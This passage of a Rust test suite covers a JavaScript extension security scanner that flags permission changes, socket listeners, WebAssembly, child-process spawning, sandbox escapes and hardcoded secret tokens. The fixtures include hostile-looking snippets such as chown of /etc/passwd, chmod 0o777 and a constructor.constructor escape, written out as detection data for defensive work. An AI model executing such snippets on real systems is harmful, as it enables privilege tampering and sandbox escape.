3928    // ---- SEC-CHMOD-001: permission changes ----
3929
3930    #[test]
3931    fn detect_chmod() {
3932        let report = scan("fs.chmodSync('/tmp/script.sh', 0o777);");
3933        assert!(has_rule(&report, SecurityRuleId::PermissionChange));
3934        assert!(report.needs_review());
3935    }
3936
3937    #[test]
3938    fn detect_chown() {
3939        let report = scan("fs.chown('/etc/passwd', 0, 0, cb);");
3940        assert!(has_rule(&report, SecurityRuleId::PermissionChange));
3941    }
3942
3943    // ---- SEC-SOCKET-001: socket listeners ----
3944
3945    #[test]
3946    fn detect_create_server() {
3947        let report = scan("const server = http.createServer(handler);");
3948        assert!(has_rule(&report, SecurityRuleId::SocketListener));
3949        assert!(report.needs_review());
3950    }
3951
3952    #[test]
3953    fn detect_create_socket() {
3954        let report = scan("const sock = dgram.createSocket('udp4');");
3955        assert!(has_rule(&report, SecurityRuleId::SocketListener));
3956    }
3957
3958    // ---- SEC-WASM-001: WebAssembly usage ----
3959
3960    #[test]
3961    fn detect_webassembly_instantiate() {
3962        let report = scan("const instance = await WebAssembly.instantiate(buffer);");
3963        assert!(has_rule(&report, SecurityRuleId::WebAssemblyUsage));
3964        assert!(report.needs_review());
3965    }
3966
3967    #[test]
3968    fn detect_webassembly_compile() {
3969        let report = scan("const module = WebAssembly.compile(bytes);");
3970        assert!(has_rule(&report, SecurityRuleId::WebAssemblyUsage));
3971    }
3972
3973    // ---- SEC-ARGUMENTS-001: arguments.callee/caller ----
3974
3975    #[test]
3976    fn detect_arguments_callee() {
3977        let report = scan("const self = arguments.callee;");
3978        assert!(has_rule(&report, SecurityRuleId::ArgumentsCallerAccess));
3979        assert_eq!(report.overall_tier, RiskTier::Medium);
3980    }
3981
3982    #[test]
3983    fn detect_arguments_caller() {
3984        let report = scan("const parent = arguments.caller;");
3985        assert!(has_rule(&report, SecurityRuleId::ArgumentsCallerAccess));
3986    }
3987
3988    // ---- New rule IDs serde roundtrip ----
3989
3990    #[test]
3991    fn new_rule_id_serde_roundtrip() {
3992        let rules = [
3993            SecurityRuleId::ChildProcessSpawn,
3994            SecurityRuleId::ConstructorEscape,
3995            SecurityRuleId::NativeModuleRequire,
3996            SecurityRuleId::GlobalMutation,
3997            SecurityRuleId::SymlinkCreation,
3998            SecurityRuleId::PermissionChange,
3999            SecurityRuleId::SocketListener,
4000            SecurityRuleId::WebAssemblyUsage,
4001            SecurityRuleId::ArgumentsCallerAccess,
4002        ];
4003        for rule in &rules {
4004            let json = serde_json::to_string(rule).unwrap();
4005            let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
4006            assert_eq!(*rule, back, "roundtrip failed for {rule}");
4007        }
4008    }
4009
4010    #[test]
4011    fn new_rule_id_names_are_stable() {
4012        assert_eq!(
4013            serde_json::to_string(&SecurityRuleId::ChildProcessSpawn).unwrap(),
4014            "\"SEC-SPAWN-001\""
4015        );
4016        assert_eq!(
4017            serde_json::to_string(&SecurityRuleId::ConstructorEscape).unwrap(),
4018            "\"SEC-CONSTRUCTOR-001\""
4019        );
4020        assert_eq!(
4021            serde_json::to_string(&SecurityRuleId::NativeModuleRequire).unwrap(),
4022            "\"SEC-NATIVEMOD-001\""
4023        );
4024        assert_eq!(
4025            serde_json::to_string(&SecurityRuleId::GlobalMutation).unwrap(),
4026            "\"SEC-GLOBAL-001\""
4027        );
4028    }
4029
4030    // ---- Determinism with new rules ----
4031
4032    #[test]
4033    fn scan_with_new_rules_is_deterministic() {
4034        let source = r"
4035eval('x');
4036const cp = require('child_process'); cp.exec('ls');
4037globalThis.foo = 'bar';
4038fs.symlinkSync('/a', '/b');
4039fs.chmodSync('/tmp/x', 0o777);
4040const s = http.createServer(h);
4041const m = WebAssembly.compile(b);
4042const c = arguments.callee;
4043constructor.constructor('return this')();
4044const addon = require('./evil.node');
4045";
4046        let r1 = scan(source);
4047        let r2 = scan(source);
4048        let j1 = r1.to_json().unwrap();
4049        let j2 = r2.to_json().unwrap();
4050        assert_eq!(j1, j2, "Scan with new rules must be deterministic");
4051    }
4052
4053    // ---- Deterministic sort: file + line within tier ----
4054
4055    #[test]
4056    fn findings_sorted_deterministically_within_tier() {
4057        let findings = vec![
4058            SecurityFinding {
4059                rule_id: SecurityRuleId::ProcessEnvAccess,
4060                risk_tier: RiskTier::Medium,
4061                rationale: "env".into(),
4062                file: Some("b.ts".into()),
4063                line: Some(10),
4064                column: Some(1),
4065                snippet: None,
4066            },
4067            SecurityFinding {
4068                rule_id: SecurityRuleId::ProcessEnvAccess,
4069                risk_tier: RiskTier::Medium,
4070                rationale: "env".into(),
4071                file: Some("a.ts".into()),
4072                line: Some(5),
4073                column: Some(1),
4074                snippet: None,
4075            },
4076        ];
4077        let report = SecurityScanReport::from_findings("test".into(), findings);
4078        // a.ts should come before b.ts within same tier.
4079        assert_eq!(
4080            report.findings[0].file.as_deref(),
4081            Some("a.ts"),
4082            "Findings should be sorted by file within tier"
4083        );
4084        assert_eq!(report.findings[1].file.as_deref(), Some("b.ts"));
4085    }
4086
4087    // ---- Evidence ledger with new rules ----
4088
4089    #[test]
4090    fn evidence_ledger_includes_new_rules() {
4091        let source = r"
4092constructor.constructor('return this')();
4093const m = WebAssembly.compile(b);
4094const c = arguments.callee;
4095";
4096        let report = scan(source);
4097        let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
4098        let entries: Vec<SecurityEvidenceLedgerEntry> = jsonl
4099            .lines()
4100            .map(|l| serde_json::from_str(l).unwrap())
4101            .collect();
4102        assert!(!entries.is_empty());
4103        assert!(
4104            entries
4105                .iter()
4106                .any(|e| e.rule_id == SecurityRuleId::ConstructorEscape)
4107        );
4108        assert!(
4109            entries
4110                .iter()
4111                .any(|e| e.rule_id == SecurityRuleId::WebAssemblyUsage)
4112        );
4113        // Rulebook version should be 2.0.0
4114        for entry in &entries {
4115            assert_eq!(entry.rulebook_version, "2.0.0");
4116        }
4117    }
4118
4119    // ---- Rulebook version ----
4120
4121    #[test]
4122    fn rulebook_version_is_v2() {
4123        assert_eq!(SECURITY_RULEBOOK_VERSION, "2.0.0");
4124    }
4125
4126    // ---- New rule tier consistency ----
4127
4128    #[test]
4129    fn new_rule_default_tier_consistency() {
4130        assert_eq!(
4131            SecurityRuleId::ChildProcessSpawn.default_tier(),
4132            RiskTier::Critical
4133        );
4134        assert_eq!(
4135            SecurityRuleId::ConstructorEscape.default_tier(),
4136            RiskTier::Critical
4137        );
4138        assert_eq!(
4139            SecurityRuleId::NativeModuleRequire.default_tier(),
4140            RiskTier::Critical
4141        );
4142        assert_eq!(
4143            SecurityRuleId::GlobalMutation.default_tier(),
4144            RiskTier::High
4145        );
4146        assert_eq!(
4147            SecurityRuleId::SymlinkCreation.default_tier(),
4148            RiskTier::High
4149        );
4150        assert_eq!(
4151            SecurityRuleId::PermissionChange.default_tier(),
4152            RiskTier::High
4153        );
4154        assert_eq!(
4155            SecurityRuleId::SocketListener.default_tier(),
4156            RiskTier::High
4157        );
4158        assert_eq!(
4159            SecurityRuleId::WebAssemblyUsage.default_tier(),
4160            RiskTier::High
4161        );
4162        assert_eq!(
4163            SecurityRuleId::ArgumentsCallerAccess.default_tier(),
4164            RiskTier::Medium
4165        );
4166    }
4167
4168    // ---- Install-time risk classifier with new rules ----
4169
4170    #[test]
4171    fn install_time_risk_blocks_critical_new_rules() {
4172        let source = "constructor.constructor('return this')();";
4173        let policy = ExtensionPolicy::default();
4174        let report = classify_extension_source("test-ext", source, &policy);
4175        assert!(report.should_block());
4176        assert_eq!(report.composite_risk_tier, RiskTier::Critical);
4177        assert_eq!(report.recommendation, InstallRecommendation::Block);
4178    }
4179
4180    #[test]
4181    fn install_time_risk_reviews_high_new_rules() {
4182        let source = "const m = WebAssembly.compile(bytes);";
4183        let policy = ExtensionPolicy::default();
4184        let report = classify_extension_source("test-ext", source, &policy);
4185        assert!(report.needs_review());
4186        assert!(matches!(
4187            report.composite_risk_tier,
4188            RiskTier::Critical | RiskTier::High
4189        ));
4190    }
4191
4192    // ---- Comments skip new rules too ----
4193
4194    #[test]
4195    fn commented_new_rules_not_flagged() {
4196        let report = scan("// constructor.constructor('return this')();");
4197        assert!(!has_rule(&report, SecurityRuleId::ConstructorEscape));
4198    }
4199
4200    #[test]
4201    fn block_commented_new_rules_not_flagged() {
4202        let report = scan("/* WebAssembly.compile(bytes); */");
4203        assert!(!has_rule(&report, SecurityRuleId::WebAssemblyUsage));
4204    }
4205
4206    // ── Property tests ──
4207
4208    mod proptest_preflight {
4209        use super::*;
4210        use proptest::prelude::*;
4211
4212        proptest! {
4213            #[test]
4214            fn eval_call_no_false_positive_on_method_calls(
4215                prefix in "[a-zA-Z]{1,10}",
4216                suffix in "[a-zA-Z0-9(), ]{0,20}",
4217            ) {
4218                // Method calls like `obj.eval(...)` should NOT be detected
4219                let text = format!("{prefix}.eval({suffix})");
4220                assert!(
4221                    !contains_eval_call(&text),
4222                    "method call should not trigger eval detection: {text}"
4223                );
4224            }
4225
4226            #[test]
4227            fn eval_call_no_false_positive_on_identifier_suffix(
4228                prefix in "[a-zA-Z]{1,10}",
4229            ) {
4230                // Identifiers ending in "eval" like "retrieval(" should not match
4231                let text = format!("{prefix}eval(x)");
4232                // Only "eval(" at word boundary should match
4233                let expected = !is_js_ident_continue(*prefix.as_bytes().last().unwrap());
4234                assert!(
4235                    contains_eval_call(&text) == expected,
4236                    "eval detection mismatch for '{text}': expected {expected}"
4237                );
4238            }
4239
4240            #[test]
4241            fn dynamic_import_never_triggers_on_static_imports(
4242                module in "[a-z@/.-]{1,30}",
4243            ) {
4244                let text = format!("import {{ foo }} from '{module}';");
4245                assert!(
4246                    !contains_dynamic_import(&text),
4247                    "static import should not trigger: {text}"
4248                );
4249            }
4250
4251            #[test]
4252            fn dynamic_import_detects_import_call(
4253                module in "[a-z@/.-]{1,20}",
4254            ) {
4255                let text = format!("const m = import('{module}');");
4256                assert!(
4257                    contains_dynamic_import(&text),
4258                    "dynamic import should be detected: {text}"
4259                );
4260            }
4261
4262            #[test]
4263            fn extract_quoted_string_roundtrips_double(
4264                content in "[a-zA-Z0-9 _.-]{0,50}",
4265            ) {
4266                let input = format!("\"{content}\" rest");
4267                let extracted = extract_quoted_string(&input);
4268                assert!(
4269                    extracted == Some(content.clone()),
4270                    "expected Some(\"{content}\"), got {extracted:?}"
4271                );
4272            }
4273
4274            #[test]
4275            fn extract_quoted_string_roundtrips_single(
4276                content in "[a-zA-Z0-9 _.-]{0,50}",
4277            ) {
4278                let input = format!("'{content}' rest");
4279                let extracted = extract_quoted_string(&input);
4280                assert!(
4281                    extracted == Some(content.clone()),
4282                    "expected Some('{content}'), got {extracted:?}"
4283                );
4284            }
4285
4286            #[test]
4287            fn extract_quoted_string_none_for_unquoted(
4288                text in "[a-zA-Z0-9]{1,20}",
4289            ) {
4290                assert!(
4291                    extract_quoted_string(&text).is_none(),
4292                    "unquoted text should return None: {text}"
4293                );
4294            }
4295
4296            #[test]
4297            fn is_debugger_statement_deterministic(
4298                text in "[ \t]{0,5}debugger[; \t]{0,5}",
4299            ) {
4300                let r1 = is_debugger_statement(&text);
4301                let r2 = is_debugger_statement(&text);
4302                assert!(r1 == r2, "is_debugger_statement must be deterministic");
4303            }
4304
4305            #[test]
4306            fn timer_abuse_only_triggers_below_10(interval in 0..100u64) {
4307                let text = format!("setInterval(fn, {interval});");
4308                let result = contains_timer_abuse(&text);
4309                if interval < 10 {
4310                    assert!(result, "interval {interval} < 10 should trigger");
4311                } else {
4312                    assert!(!result, "interval {interval} >= 10 should not trigger");
4313                }
4314            }
4315
4316            #[test]
4317            fn hardcoded_secret_detects_known_token_prefixes(
4318                prefix in prop::sample::select(vec![
4319                    "sk-ant-".to_string(),
4320                    "ghp_".to_string(),
4321                    "gho_".to_string(),
4322                    "glpat-".to_string(),
4323                    "xoxb-".to_string(),
4324                ]),
4325                suffix in "[a-zA-Z0-9]{10,20}",
4326            ) {
4327                let text = format!("const token = \"{prefix}{suffix}\";");
4328                assert!(
4329                    contains_hardcoded_secret(&text),
4330                    "token prefix '{prefix}' should be detected: {text}"
4331                );
4332            }
4333
4334            #[test]
4335            fn hardcoded_secret_ignores_env_lookups(
4336                keyword in prop::sample::select(vec![
4337                    "api_key".to_string(),
4338                    "password".to_string(),
4339                    "secret_key".to_string(),
4340                    "auth_token".to_string(),
4341                ]),
4342            ) {
4343                let text = format!("process.env.{keyword}");
4344                assert!(
4345                    !contains_hardcoded_secret(&text),
4346                    "env lookup should not be flagged: {text}"
4347                );
4348            }
4349
4350            #[test]
4351            fn eval_call_no_false_positive_on_underscore_identifiers(
4352                _dummy in Just(()),
4353            ) {
4354                let text = "my_eval('code')";
4355                assert!(
4356                    !contains_eval_call(text),
4357                    "underscore identifier prefix should not trigger eval detection: {text}"
4358                );
4359            }
4360
4361            #[test]
4362            fn eval_call_no_false_positive_on_dollar_identifiers(
4363                _dummy in Just(()),
4364            ) {
4365                let text = "$eval('code')";
4366                assert!(
4367                    !contains_eval_call(text),
4368                    "dollar identifier prefix should not trigger eval detection: {text}"
4369                );
4370            }
4371        }
4372    }
4373}